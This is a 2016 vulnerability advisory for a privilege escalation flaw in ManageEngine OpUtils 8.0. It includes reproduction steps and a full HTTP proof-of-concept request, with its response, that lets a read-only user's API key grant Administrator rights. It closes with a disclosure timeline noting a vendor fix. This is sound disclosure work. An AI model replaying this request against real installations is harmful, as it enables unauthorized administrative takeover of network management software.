Manage Engine OPutils 8.0 Privilege Escalation
Posted on 17 February 2016
================================================== Privilege escalation Vulnerability in ManageEngine oputils ================================================== . contents:: Table Of Content Overview ======== Title:- Privilege escalation Vulnerability in ManageEngine oputils Author: Kaustubh G. Padwad Vendor: ZOHO Corp Product: ManageEngine oputils Tested Version: : oputils 8.0 Severity: HIGH Advisory ID ============ 2016-05-Manage_Engine About the Product: ================== OpUtils is a Switch Port & IP Address Management software that helps network engineers manage their Switches and IP Address Space with ease. With its comprehensive set of 30+ tools, it helps them to perform network monitoring tasks like detecting a rogue device intrusion, keep a check on bandwidth usage, monitoring availability of critical devices, backing up Cisco configuration files and more. Description: ============ This Privilege escalation vulnerability enables an Normal user to escalate privilege and become administrator of the application. Vulnerability Class: ==================== Top 10 2014-I2 Insufficient Authentication/Authorization https://www.owasp.org/index.php/Top_10_2014-I2_Insufficient_Authentication/Authorization How to Reproduce: (POC): ======================== * you should have Read only user on OpUtils * login with that account to get api key something like 375e0fa0-0bb3-479c-a646-debb90a1f5f0 * Setup Burp and use change user password request and change userName to admin and newPwd to desire password HUrry you are admin now. :) POC ==== Burp Requst ----------- POST /oputilsapi/admin?key=375e0fa0-0bb3-479c-a646-debb90a1f5f0 HTTP/1.1 Host: 192.168.1.10:7080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.5.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://192.168.1.10:7080/apiclient/ember/index.jsp Content-Length: 151 Cookie: OPUTILSJSESSIONID=AC6E9B2C01FDDD5E27C245BC6F31C032; JSESSIONID=B59D8FD4B17DB7200A991299F4034DF1; OPUTILSJSESSIONIDSSO=1F8857A875EB16418DD7889DB60CFB66 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache v=1&format=json&operation=DELETE_OR_MODIFY_USER&action1=MODIFY_USER&userInAction=kk&userRole=Administrator&userAuthType=Local&contactinfoID=2&loginID=2 Response -------- HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: OPUTILSJSESSIONIDSSO=1F8857A875EB16418DD7889DB60CFB66; Expires=Thu, 01-Jan-1970 00:00:10 GMT Set-Cookie: OPUTILSJSESSIONID=184C572A3D2E17EEC3B78C027B925421; Path=/ Content-Type: application/json;charset=UTF-8 Content-Length: 90 Date: Thu, 04 Feb 2016 13:27:09 GMT {"input":"{newUserName=MODIFY_USER, userInAction=kk, domainName=null}","status":"Success"} Mitigation ========== Upgrade to next Service pack Disclosure: =========== 04-Feb-2016 Repoerted to vendor 11-Feb-2016 Fixed By vendor credits: ======== * Kaustubh Padwad * Information Security Researcher * kingkaustubh@me.com * https://twitter.com/s3curityb3ast * http://breakthesec.com * https://www.linkedin.com/in/kaustubhpadwad
